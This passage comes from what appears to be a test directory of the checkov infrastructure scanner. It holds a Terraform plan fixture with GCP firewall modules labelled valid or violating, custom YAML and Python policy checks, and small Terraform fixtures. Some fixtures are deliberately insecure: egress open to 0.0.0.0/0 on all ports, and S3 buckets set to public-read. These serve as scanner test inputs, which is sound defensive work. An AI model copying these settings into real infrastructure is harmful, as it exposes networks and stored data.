                 ],\n                    \"protocol\": \"tcp\"\n                  }\n                ]\n              },\n              \"sources\": {\n                \"references\": [\n                  \"local.source_sa\"\n                ]\n              },\n              \"use_service_accounts\": {\n                \"constant_value\": true\n              }\n            },\n            \"module\": {\n              \"outputs\": {\n                \"firewall_rules\": {\n                  \"expression\": {\n                    \"references\": [\n                      \"google_compute_firewall.custom\"\n                    ]\n                  },\n                  \"description\": \"The  firewall rules created\"\n                }\n              },\n              \"resources\": [\n                {\n                  \"address\": \"google_compute_firewall.custom\",\n                  \"mode\": \"managed\",\n                  \"type\": \"google_compute_firewall\",\n                  \"name\": \"custom\",\n                  \"provider_config_key\": \"achia_test_valid_443:google\",\n                  \"expressions\": {\n                    \"description\": {\n                      \"references\": [\n                        \"var.description\"\n                      ]\n                    },\n                    \"destination_ranges\": {\n                      \"references\": [\n                        \"var.direction\",\n                        \"var.ranges\"\n                      ]\n                    },\n                    \"direction\": {\n                      \"references\": [\n                        \"var.direction\"\n                      ]\n                    },\n                    \"disabled\": {\n                      \"references\": [\n                        \"var.extra_attributes\"\n                      ]\n                    },\n                    \"name\": {\n                      \"references\": [\n                        \"local.firewall_name\"\n                      ]\n                    },\n                    \"network\": {\n                      \"references\": [\n                        \"var.network\"\n                      ]\n                    },\n                    \"priority\": {\n                      \"references\": [\n                        \"var.extra_attributes\"\n                      ]\n                    },\n                    \"project\": {\n                      \"references\": [\n                        \"var.project_id\"\n                      ]\n                    },\n                    \"source_ranges\": {\n                      \"references\": [\n                        \"var.direction\",\n                        \"var.ranges\"\n                      ]\n                    },\n                    \"source_service_accounts\": {\n                      \"references\": [\n                        \"var.use_service_accounts\",\n                        \"var.direction\",\n                        \"var.sources\"\n                      ]\n                    },\n                    \"source_tags\": {\n                      \"references\": [\n                        \"var.use_service_accounts\",\n                        \"var.direction\",\n                        \"var.sources\"\n                      ]\n                    },\n                    \"target_service_accounts\": {\n                      \"references\": [\n                        \"var.use_service_accounts\",\n                        \"var.targets\"\n                      ]\n                    },\n                    \"target_tags\": {\n                      \"references\": [\n                        \"var.use_service_accounts\",\n                        \"var.targets\"\n                      ]\n                    }\n                  },\n                  \"schema_version\": 1,\n                  \"count_expression\": {\n                    \"references\": [\n                      \"var.enabled\"\n                    ]\n                  }\n                }\n              ],\n              \"variables\": {\n                \"action\": {\n                  \"description\": \"must be one of the following : allow/ deny\"\n                },\n                \"description\": {\n                  \"default\": null,\n                  \"description\": \"Description for the firewall rule\"\n                },\n                \"direction\": {\n                  \"default\": null,\n                  \"description\": \"Direction of traffic to which this firewall applies\"\n                },\n                \"enabled\": {\n                  \"default\": true,\n                  \"description\": \"Whether to enable this module or not.\"\n                },\n                \"extra_attributes\": {\n                  \"default\": null,\n                  \"description\": \"Map(string) that includes extra arguments like disabled, priority and enabled_logging\"\n                },\n                \"fw_destination\": {\n                  \"description\": \"Project id of the project that holds the network.\"\n                },\n                \"fw_purpose\": {\n                  \"description\": \"Project id of the project that holds the network.\"\n                },\n                \"fw_source\": {\n                  \"description\": \"Project id of the project that holds the network.\"\n                },\n                \"log_config\": {\n                  \"default\": {\n                    \"metadata\": \"INCLUDE_ALL_METADATA\"\n                  },\n                  \"description\": \"The key in the map currently supported is metadata. Structure is documented at: https://www.terraform.io/docs/providers/google/r/compute_firewall.html#log_config\"\n                },\n                \"network\": {\n                  \"description\": \"Name of the network this set of firewall rules applies to.\"\n                },\n                \"project_id\": {\n                  \"description\": \"Project id of the project that holds the network.\"\n                },\n                \"ranges\": {\n                  \"default\": null,\n                  \"description\": \"Source/ Destination IP range\"\n                },\n                \"rules\": {\n                  \"description\": \"A list of object that includes protocol type and the corresponding ports\"\n                },\n                \"sources\": {\n                  \"default\": null,\n                  \"description\": \"Source tags/ Service Account\"\n                },\n                \"targets\": {\n                  \"default\": null,\n                  \"description\": \"Target tags/ Service Account\"\n                },\n                \"use_service_accounts\": {\n                  \"default\": true,\n                  \"description\": \"Boolean value to indicate if either Service Accounts or Tags are to be used\"\n                }\n              }\n            }\n          },\n          \"achia_test_valid_ports\": {\n            \"source\": \"tfe.mayo.edu/mcc/m-network-firewall/google\",\n            \"expressions\": {\n              \"action\": {\n                \"constant_value\": \"allow\"\n              },\n              \"description\": {\n                \"constant_value\": \"gcp-wss-tcp-allow\"\n              },\n              \"direction\": {\n                \"constant_value\": \"EGRESS\"\n              },\n              \"extra_attributes\": {\n                \"constant_value\": {\n                  \"enable_logging\": true,\n                  \"priority\": 1000\n                }\n              },\n              \"fw_destination\": {\n                \"constant_value\": \"wss\"\n              },\n              \"fw_purpose\": {\n                \"constant_value\": \"valid-port80and443\"\n              },\n              \"fw_source\": {\n                \"constant_value\": \"egress\"\n              },\n              \"network\": {\n                \"references\": [\n                  \"google_compute_network.achia_test_peered_wss_network\"\n                ]\n              },\n              \"project_id\": {\n                \"constant_value\": \"fake-id\"\n              },\n              \"ranges\": {\n                \"constant_value\": [\n                  \"0.0.0.0/0\"\n                ]\n              },\n              \"rules\": {\n                \"constant_value\": [\n                  {\n                    \"ports\": [\n                      80,\n                      443\n                    ],\n                    \"protocol\": \"tcp\"\n                  }\n                ]\n              },\n              \"sources\": {\n                \"references\": [\n                  \"local.source_sa\"\n                ]\n              },\n              \"use_service_accounts\": {\n                \"constant_value\": true\n              }\n            },\n            \"module\": {\n              \"outputs\": {\n                \"firewall_rules\": {\n                  \"expression\": {\n                    \"references\": [\n                      \"google_compute_firewall.custom\"\n                    ]\n                  },\n                  \"description\": \"The  firewall rules created\"\n                }\n              },\n              \"resources\": [\n                {\n                  \"address\": \"google_compute_firewall.custom\",\n                  \"mode\": \"managed\",\n                  \"type\": \"google_compute_firewall\",\n                  \"name\": \"custom\",\n                  \"provider_config_key\": \"achia_test_valid_ports:google\",\n                  \"expressions\": {\n                    \"description\": {\n                      \"references\": [\n                        \"var.description\"\n                      ]\n                    },\n                    \"destination_ranges\": {\n                      \"references\": [\n                        \"var.direction\",\n                        \"var.ranges\"\n                      ]\n                    },\n                    \"direction\": {\n                      \"references\": [\n                        \"var.direction\"\n                      ]\n                    },\n                    \"disabled\": {\n                      \"references\": [\n                        \"var.extra_attributes\"\n                      ]\n                    },\n                    \"name\": {\n                      \"references\": [\n                        \"local.firewall_name\"\n                      ]\n                    },\n                    \"network\": {\n                      \"references\": [\n                        \"var.network\"\n                      ]\n                    },\n                    \"priority\": {\n                      \"references\": [\n                        \"var.extra_attributes\"\n                      ]\n                    },\n                    \"project\": {\n                      \"references\": [\n                        \"var.project_id\"\n                      ]\n                    },\n                    \"source_ranges\": {\n                      \"references\": [\n                        \"var.direction\",\n                        \"var.ranges\"\n                      ]\n                    },\n                    \"source_service_accounts\": {\n                      \"references\": [\n                        \"var.use_service_accounts\",\n                        \"var.direction\",\n                        \"var.sources\"\n                      ]\n                    },\n                    \"source_tags\": {\n                      \"references\": [\n                        \"var.use_service_accounts\",\n                        \"var.direction\",\n                        \"var.sources\"\n                      ]\n                    },\n                    \"target_service_accounts\": {\n                      \"references\": [\n                        \"var.use_service_accounts\",\n                        \"var.targets\"\n                      ]\n                    },\n                    \"target_tags\": {\n                      \"references\": [\n                        \"var.use_service_accounts\",\n                        \"var.targets\"\n                      ]\n                    }\n                  },\n                  \"schema_version\": 1,\n                  \"count_expression\": {\n                    \"references\": [\n                      \"var.enabled\"\n                    ]\n                  }\n                }\n              ],\n              \"variables\": {\n                \"action\": {\n                  \"description\": \"must be one of the following : allow/ deny\"\n                },\n                \"description\": {\n                  \"default\": null,\n                  \"description\": \"Description for the firewall rule\"\n                },\n                \"direction\": {\n                  \"default\": null,\n                  \"description\": \"Direction of traffic to which this firewall applies\"\n                },\n                \"enabled\": {\n                  \"default\": true,\n                  \"description\": \"Whether to enable this module or not.\"\n                },\n                \"extra_attributes\": {\n                  \"default\": null,\n                  \"description\": \"Map(string) that includes extra arguments like disabled, priority and enabled_logging\"\n                },\n                \"fw_destination\": {\n                  \"description\": \"Project id of the project that holds the network.\"\n                },\n                \"fw_purpose\": {\n                  \"description\": \"Project id of the project that holds the network.\"\n                },\n                \"fw_source\": {\n                  \"description\": \"Project id of the project that holds the network.\"\n                },\n                \"log_config\": {\n                  \"default\": {\n                    \"metadata\": \"INCLUDE_ALL_METADATA\"\n                  },\n                  \"description\": \"The key in the map currently supported is metadata. Structure is documented at: https://www.terraform.io/docs/providers/google/r/compute_firewall.html#log_config\"\n                },\n                \"network\": {\n                  \"description\": \"Name of the network this set of firewall rules applies to.\"\n                },\n                \"project_id\": {\n                  \"description\": \"Project id of the project that holds the network.\"\n                },\n                \"ranges\": {\n                  \"default\": null,\n                  \"description\": \"Source/ Destination IP range\"\n                },\n                \"rules\": {\n                  \"description\": \"A list of object that includes protocol type and the corresponding ports\"\n                },\n                \"sources\": {\n                  \"default\": null,\n                  \"description\": \"Source tags/ Service Account\"\n                },\n                \"targets\": {\n                  \"default\": null,\n                  \"description\": \"Target tags/ Service Account\"\n                },\n                \"use_service_accounts\": {\n                  \"default\": true,\n                  \"description\": \"Boolean value to indicate if either Service Accounts or Tags are to be used\"\n                }\n              }\n            }\n          },\n          \"achia_test_violating_no_ports\": {\n            \"source\": \"tfe.mayo.edu/mcc/m-network-firewall/google\",\n            \"expressions\": {\n              \"action\": {\n                \"constant_value\": \"allow\"\n              },\n              \"description\": {\n                \"constant_value\": \"gcp-wss-tcp-allow\"\n              },\n              \"direction\": {\n                \"constant_value\": \"EGRESS\"\n              },\n              \"extra_attributes\": {\n                \"constant_value\": {\n                  \"enable_logging\": true,\n                  \"priority\": 1000\n                }\n              },\n              \"fw_destination\": {\n                \"constant_value\": \"wss\"\n              },\n              \"fw_purpose\": {\n                \"constant_value\": \"all-ports\"\n              },\n              \"fw_source\": {\n                \"constant_value\": \"egress\"\n              },\n              \"network\": {\n                \"references\": [\n                  \"google_compute_network.achia_test_peered_wss_network\"\n                ]\n              },\n              \"project_id\": {\n                \"constant_value\": \"fake-id\"\n              },\n              \"ranges\": {\n                \"constant_value\": [\n                  \"0.0.0.0/0\"\n                ]\n              },\n              \"rules\": {\n                \"constant_value\": [\n                  {\n                    \"ports\": [],\n                    \"protocol\": \"tcp\"\n                  }\n                ]\n              },\n              \"sources\": {\n                \"references\": [\n                  \"local.source_sa\"\n                ]\n              },\n              \"use_service_accounts\": {\n                \"constant_value\": true\n              }\n            },\n            \"module\": {\n              \"outputs\": {\n                \"firewall_rules\": {\n                  \"expression\": {\n                    \"references\": [\n                      \"google_compute_firewall.custom\"\n                    ]\n                  },\n                  \"description\": \"The  firewall rules created\"\n                }\n              },\n              \"resources\": [\n                {\n                  \"address\": \"google_compute_firewall.custom\",\n                  \"mode\": \"managed\",\n                  \"type\": \"google_compute_firewall\",\n                  \"name\": \"custom\",\n                  \"provider_config_key\": \"achia_test_violating_no_ports:google\",\n                  \"expressions\": {\n                    \"description\": {\n                      \"references\": [\n                        \"var.description\"\n                      ]\n                    },\n                    \"destination_ranges\": {\n                      \"references\": [\n                        \"var.direction\",\n                        \"var.ranges\"\n                      ]\n                    },\n                    \"direction\": {\n                      \"references\": [\n                        \"var.direction\"\n                      ]\n                    },\n                    \"disabled\": {\n                      \"references\": [\n                        \"var.extra_attributes\"\n                      ]\n                    },\n                    \"name\": {\n                      \"references\": [\n                        \"local.firewall_name\"\n                      ]\n                    },\n                    \"network\": {\n                      \"references\": [\n                        \"var.network\"\n                      ]\n                    },\n                    \"priority\": {\n                      \"references\": [\n                        \"var.extra_attributes\"\n                      ]\n                    },\n                    \"project\": {\n                      \"references\": [\n                        \"var.project_id\"\n                      ]\n                    },\n                    \"source_ranges\": {\n                      \"references\": [\n                        \"var.direction\",\n                        \"var.ranges\"\n                      ]\n                    },\n                    \"source_service_accounts\": {\n                      \"references\": [\n                        \"var.use_service_accounts\",\n                        \"var.direction\",\n                        \"var.sources\"\n                      ]\n                    },\n                    \"source_tags\": {\n                      \"references\": [\n                        \"var.use_service_accounts\",\n                        \"var.direction\",\n                        \"var.sources\"\n                      ]\n                    },\n                    \"target_service_accounts\": {\n                      \"references\": [\n                        \"var.use_service_accounts\",\n                        \"var.targets\"\n                      ]\n                    },\n                    \"target_tags\": {\n                      \"references\": [\n                        \"var.use_service_accounts\",\n                        \"var.targets\"\n                      ]\n                    }\n                  },\n                  \"schema_version\": 1,\n                  \"count_expression\": {\n                    \"references\": [\n                      \"var.enabled\"\n                    ]\n                  }\n                }\n              ],\n              \"variables\": {\n                \"action\": {\n                  \"description\": \"must be one of the following : allow/ deny\"\n                },\n                \"description\": {\n                  \"default\": null,\n                  \"description\": \"Description for the firewall rule\"\n                },\n                \"direction\": {\n                  \"default\": null,\n                  \"description\": \"Direction of traffic to which this firewall applies\"\n                },\n                \"enabled\": {\n                  \"default\": true,\n                  \"description\": \"Whether to enable this module or not.\"\n                },\n                \"extra_attributes\": {\n                  \"default\": null,\n                  \"description\": \"Map(string) that includes extra arguments like disabled, priority and enabled_logging\"\n                },\n                \"fw_destination\": {\n                  \"description\": \"Project id of the project that holds the network.\"\n                },\n                \"fw_purpose\": {\n                  \"description\": \"Project id of the project that holds the network.\"\n                },\n                \"fw_source\": {\n                  \"description\": \"Project id of the project that holds the network.\"\n                },\n                \"log_config\": {\n                  \"default\": {\n                    \"metadata\": \"INCLUDE_ALL_METADATA\"\n                  },\n                  \"description\": \"The key in the map currently supported is metadata. Structure is documented at: https://www.terraform.io/docs/providers/google/r/compute_firewall.html#log_config\"\n                },\n                \"network\": {\n                  \"description\": \"Name of the network this set of firewall rules applies to.\"\n                },\n                \"project_id\": {\n                  \"description\": \"Project id of the project that holds the network.\"\n                },\n                \"ranges\": {\n                  \"default\": null,\n                  \"description\": \"Source/ Destination IP range\"\n                },\n                \"rules\": {\n                  \"description\": \"A list of object that includes protocol type and the corresponding ports\"\n                },\n                \"sources\": {\n                  \"default\": null,\n                  \"description\": \"Source tags/ Service Account\"\n                },\n                \"targets\": {\n                  \"default\": null,\n                  \"description\": \"Target tags/ Service Account\"\n                },\n                \"use_service_accounts\": {\n                  \"default\": true,\n                  \"description\": \"Boolean value to indicate if either Service Accounts or Tags are to be used\"\n                }\n              }\n            }\n          },\n          \"achia_test_violating_port\": {\n            \"source\": \"tfe.mayo.edu/mcc/m-network-firewall/google\",\n            \"expressions\": {\n              \"action\": {\n                \"constant_value\": \"allow\"\n              },\n              \"description\": {\n                \"constant_value\": \"gcp-wss-tcp-allow\"\n              },\n              \"direction\": {\n                \"constant_value\": \"EGRESS\"\n              },\n              \"extra_attributes\": {\n                \"constant_value\": {\n                  \"enable_logging\": true,\n                  \"priority\": 1000\n                }\n              },\n              \"fw_destination\": {\n                \"constant_value\": \"wss\"\n              },\n              \"fw_purpose\": {\n                \"constant_value\": \"violating-port3600\"\n              },\n              \"fw_source\": {\n                \"constant_value\": \"egress\"\n              },\n              \"network\": {\n                \"references\": [\n                  \"google_compute_network.achia_test_peered_wss_network\"\n                ]\n              },\n              \"project_id\": {\n                \"constant_value\": \"fake-id\"\n              },\n              \"ranges\": {\n                \"constant_value\": [\n                  \"0.0.0.0/0\"\n                ]\n              },\n              \"rules\": {\n                \"constant_value\": [\n                  {\n                    \"ports\": [\n                      80,\n                      443,\n                      3600\n                    ],\n                    \"protocol\": \"tcp\"\n                  }\n                ]\n              },\n              \"sources\": {\n                \"references\": [\n                  \"local.source_sa\"\n                ]\n              },\n              \"use_service_accounts\": {\n                \"constant_value\": true\n              }\n            },\n            \"module\": {\n              \"outputs\": {\n                \"firewall_rules\": {\n                  \"expression\": {\n                    \"references\": [\n                      \"google_compute_firewall.custom\"\n                    ]\n                  },\n                  \"description\": \"The  firewall rules created\"\n                }\n              },\n              \"resources\": [\n                {\n                  \"address\": \"google_compute_firewall.custom\",\n                  \"mode\": \"managed\",\n                  \"type\": \"google_compute_firewall\",\n                  \"name\": \"custom\",\n                  \"provider_config_key\": \"achia_test_violating_port:google\",\n                  \"expressions\": {\n                    \"description\": {\n                      \"references\": [\n                        \"var.description\"\n                      ]\n                    },\n                    \"destination_ranges\": {\n                      \"references\": [\n                        \"var.direction\",\n                        \"var.ranges\"\n                      ]\n                    },\n                    \"direction\": {\n                      \"references\": [\n                        \"var.direction\"\n                      ]\n                    },\n                    \"disabled\": {\n                      \"references\": [\n                        \"var.extra_attributes\"\n                      ]\n                    },\n                    \"name\": {\n                      \"references\": [\n                        \"local.firewall_name\"\n                      ]\n                    },\n                    \"network\": {\n                      \"references\": [\n                        \"var.network\"\n                      ]\n                    },\n                    \"priority\": {\n                      \"references\": [\n                        \"var.extra_attributes\"\n                      ]\n                    },\n                    \"project\": {\n                      \"references\": [\n                        \"var.project_id\"\n                      ]\n                    },\n                    \"source_ranges\": {\n                      \"references\": [\n                        \"var.direction\",\n                        \"var.ranges\"\n                      ]\n                    },\n                    \"source_service_accounts\": {\n                      \"references\": [\n                        \"var.use_service_accounts\",\n                        \"var.direction\",\n                        \"var.sources\"\n                      ]\n                    },\n                    \"source_tags\": {\n                      \"references\": [\n                        \"var.use_service_accounts\",\n                        \"var.direction\",\n                        \"var.sources\"\n                      ]\n                    },\n                    \"target_service_accounts\": {\n                      \"references\": [\n                        \"var.use_service_accounts\",\n                        \"var.targets\"\n                      ]\n                    },\n                    \"target_tags\": {\n                      \"references\": [\n                        \"var.use_service_accounts\",\n                        \"var.targets\"\n                      ]\n                    }\n                  },\n                  \"schema_version\": 1,\n                  \"count_expression\": {\n                    \"references\": [\n                      \"var.enabled\"\n                    ]\n                  }\n                }\n              ],\n              \"variables\": {\n                \"action\": {\n                  \"description\": \"must be one of the following : allow/ deny\"\n                },\n                \"description\": {\n                  \"default\": null,\n                  \"description\": \"Description for the firewall rule\"\n                },\n                \"direction\": {\n                  \"default\": null,\n                  \"description\": \"Direction of traffic to which this firewall applies\"\n                },\n                \"enabled\": {\n                  \"default\": true,\n                  \"description\": \"Whether to enable this module or not.\"\n                },\n                \"extra_attributes\": {\n                  \"default\": null,\n                  \"description\": \"Map(string) that includes extra arguments like disabled, priority and enabled_logging\"\n                },\n                \"fw_destination\": {\n                  \"description\": \"Project id of the project that holds the network.\"\n                },\n                \"fw_purpose\": {\n                  \"description\": \"Project id of the project that holds the network.\"\n                },\n                \"fw_source\": {\n                  \"description\": \"Project id of the project that holds the network.\"\n                },\n                \"log_config\": {\n                  \"default\": {\n                    \"metadata\": \"INCLUDE_ALL_METADATA\"\n                  },\n                  \"description\": \"The key in the map currently supported is metadata. Structure is documented at: https://www.terraform.io/docs/providers/google/r/compute_firewall.html#log_config\"\n                },\n                \"network\": {\n                  \"description\": \"Name of the network this set of firewall rules applies to.\"\n                },\n                \"project_id\": {\n                  \"description\": \"Project id of the project that holds the network.\"\n                },\n                \"ranges\": {\n                  \"default\": null,\n                  \"description\": \"Source/ Destination IP range\"\n                },\n                \"rules\": {\n                  \"description\": \"A list of object that includes protocol type and the corresponding ports\"\n                },\n                \"sources\": {\n                  \"default\": null,\n                  \"description\": \"Source tags/ Service Account\"\n                },\n                \"targets\": {\n                  \"default\": null,\n                  \"description\": \"Target tags/ Service Account\"\n                },\n                \"use_service_accounts\": {\n                  \"default\": true,\n                  \"description\": \"Boolean value to indicate if either Service Accounts or Tags are to be used\"\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n  "
  },
  {
    "path": "tests/terraform/runner/extra_tf_plan_checks/nsg_rule_connection.yaml",
    "content": "metadata:\n  name: \"Ensure that connection exists between NSG and rule\"\n  id: \"CUSTOM_CONNECTION_1\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - cond_type: connection\n      resource_types:\n      - azurerm_network_security_group\n      connected_resource_types:\n      - azurerm_network_security_rule\n      operator: exists\n    - cond_type: filter\n      attribute: resource_type\n      value:\n      - azurerm_network_security_group\n      operator: within\n"
  },
  {
    "path": "tests/terraform/runner/extra_tf_plan_checks/secret_not_deleted.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.terraform.plan_parser import TF_PLAN_RESOURCE_CHANGE_ACTIONS\n\n\nclass KmsKeyNotDeleted(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Secret is not deleted\"\n        id = \"CUSTOM_DELETE_1\"\n        supported_resources = (\"aws_secretsmanager_secret\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        actions = conf.get(TF_PLAN_RESOURCE_CHANGE_ACTIONS)\n        if isinstance(actions, list) and \"delete\" in actions:\n            self.details.append(\"some great details\")\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\nscanner = KmsKeyNotDeleted()\n"
  },
  {
    "path": "tests/terraform/runner/extra_tf_plan_checks/secret_not_deleted.yaml",
    "content": "metadata:\n  name: \"Ensure Secret is not deleted\"\n  id: \"CUSTOM_DELETE_2\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n    - aws_secretsmanager_secret\n  attribute: __change_actions__\n  operator: not_contains\n  value: delete\n"
  },
  {
    "path": "tests/terraform/runner/extra_tf_plan_checks/security_group_rule_protocol_changed.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.terraform.plan_parser import TF_PLAN_RESOURCE_CHANGE_ACTIONS, TF_PLAN_RESOURCE_CHANGE_KEYS\n\n\nclass SecurityGroupRuleProtocolChanged(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure security group rule protocol is not being changed\"\n        id = \"CUSTOM_CHANGE_1\"\n        supported_resources = (\"aws_security_group_rule\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        actions = conf.get(TF_PLAN_RESOURCE_CHANGE_ACTIONS)\n        if isinstance(actions, list) and \"update\" in actions:\n            if \"protocol\" in conf.get(TF_PLAN_RESOURCE_CHANGE_KEYS):\n                self.details.append(\"some great details\")\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = SecurityGroupRuleProtocolChanged()\n"
  },
  {
    "path": "tests/terraform/runner/extra_yaml_checks/aws_provider_check.yaml",
    "content": "metadata:\n  id: \"CUSTOM_GRAPH_AWS_4\"\n  name: \"Ensure a certain region is not added\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"provider.aws\"\n  attribute: \"region\"\n  operator: \"not_contains\"\n  value: \"us-west-2\"\n"
  },
  {
    "path": "tests/terraform/runner/extra_yaml_checks/bucket_versioned_owned.yaml",
    "content": "metadata:\n  id: \"CKV2_CUSTOM_1\"\n  name: \"Ensure bucket has versioning and owner tag\"\n  category: \"BACKUP_AND_RECOVERY\"\n  guideline: \"https://docs.bridgecrew.io/docs/ckv2_custom_1\"\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_s3_bucket\"\n      attribute: \"tags.Owner\"\n      operator: \"exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_s3_bucket\"\n      attribute: \"versioning.enabled\"\n      operator: \"equals\"\n      value: \"true\""
  },
  {
    "path": "tests/terraform/runner/extra_yaml_checks/module_source.yaml",
    "content": "metadata:\n  name: \"Ensure all modules are using the official AWS ones\"\n  id: \"CUSTOM_GRAPH_AWS_2\"\n  category: \"SUPPLY_CHAIN\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n    - module\n  attribute: source\n  operator: starting_with\n  value: terraform-aws-modules\n"
  },
  {
    "path": "tests/terraform/runner/extra_yaml_checks/policy_violations.yaml",
    "content": "metadata:\n  id: \"CUSTOM_GRAPH_AWS_3\"\n  name: \"Ensure a certain region is not added\"\n  category: \"GENERAL_SECURITY\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  and:\n  - cond_type: \"attribute\"\n    resource_types:\n      - \"provider\"\n    attribute: \"default_tags\"\n    operator: exists\n  - cond_type: \"attribute\"\n    resource_types:\n      - \"provider\"\n    attribute: \"region\"\n    operator: \"not_contains\"\n    value: \"us-west-1\"\n"
  },
  {
    "path": "tests/terraform/runner/extra_yaml_checks/test_tag.yaml",
    "content": "metadata:\n  name: \"Ensure all resources are tagged with the relevant env\"\n  id: \"CUSTOM_GRAPH_AWS_1\"\n  category: \"GENERAL_SECURITY\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"all\"\n  attribute: \"tags.env\"\n  operator: \"exists\""
  },
  {
    "path": "tests/terraform/runner/py_check_tf_plan/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/runner/py_check_tf_plan/check_tf_plan.py",
    "content": "from __future__ import annotations\nfrom typing import Any\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass JustForTest(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Just for test (Like CKV2_GCP_18)\"\n        id = \"CKV_AWS_99999\"\n        supported_resources = ['google_compute_network']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"storage_encrypted\"\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        result = super().scan_resource_conf(conf=conf)\n        # For RustworkX Framework -\n        resources = [g[1] for g in self.graph.nodes() if g[1].get('block_type_') == 'resource']\n\n        # Do something here.\n        if resources:\n            return CheckResult.PASSED\n        return result\n\n\ncheck = JustForTest()\n"
  },
  {
    "path": "tests/terraform/runner/py_graph_check/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/runner/py_graph_check/py_graph_check.py",
    "content": "from __future__ import annotations\nfrom typing import Any\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass RDSEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure all data stored in the RDS is securely encrypted at rest\"\n        id = \"CKV_AWS_000\"\n        supported_resources = ['aws_db_instance']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"storage_encrypted\"\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        result = super().scan_resource_conf(conf=conf)\n        provider_name = conf.get(\"provider\")\n        if provider_name and isinstance(provider_name, list):\n            providers = [g[1] for g in self.graph.nodes() if g[1].get('block_type_') == 'provider']\n            provider = next((prov for prov in providers if prov[CustomAttributes.BLOCK_NAME] == provider_name[0]), None)\n            if provider and provider.get(\"use_fips_endpoint\") is True:\n                return CheckResult.PASSED\n        return result\n\n\ncheck = RDSEncryption()\n"
  },
  {
    "path": "tests/terraform/runner/resources/definition_context_path_nested_modules/main.tf",
    "content": "provider \"aws\" {\n  region  = \"us-west-2\"\n}\n\nmodule \"s3_module\" {\n  source = \"./module\"\n  acl    = \"public-read\"\n}\n\n\nresource \"aws_s3_bucket\" \"example\" {\n  bucket = \"example\"\n  acl    = \"public-read\"\n}\n\n"
  },
  {
    "path": "tests/terraform/runner/resources/definition_context_path_nested_modules/module/main.tf",
    "content": "module \"inner_s3_module\" {\n  source = \"./module2\"\n  acl    = var.acl\n}\n\nresource \"aws_s3_bucket\" \"example2\" {\n  bucket = \"example\"\n  acl    = var.acl\n}"
  },
  {
    "path": "tests/terraform/runner/resources/definition_context_path_nested_modules/module/module2/main.tf",
    "content": "resource \"aws_s3_bucket\" \"example3\" {\n  bucket = \"example\"\n  acl    = var.acl\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/definition_context_path_nested_modules/module/module2/variable.tf",
    "content": "variable \"acl\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/runner/resources/definition_context_path_nested_modules/module/variable.tf",
    "content": "variable \"acl\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/runner/resources/duplicate_violations/modules/main.tf",
    "content": "\ndata \"aws_iam_policy_document\" \"restrictions\" {\n\n  # do not allow the account to leave the org except for the exempt\n  statement {\n    effect  = \"Deny\"\n    resources = [\n      \"*\",\n    ]\n  }\n\n}\n\nresource \"aws_organizations_policy\" \"restrictions\" {\n  name    = \"${var.account_name}-restrictions\"\n  content = data.aws_iam_policy_document.restrictions.json\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/duplicate_violations/src/main1.tf",
    "content": "module \"module1\" {\n  source = \"../modules/\"\n\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/duplicate_violations/src/main2.tf",
    "content": "module \"module2\" {\n  source = \"../modules/\"\n\n}"
  },
  {
    "path": "tests/terraform/runner/resources/empty_locals/locals.tf",
    "content": "locals {\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/example/example.tf",
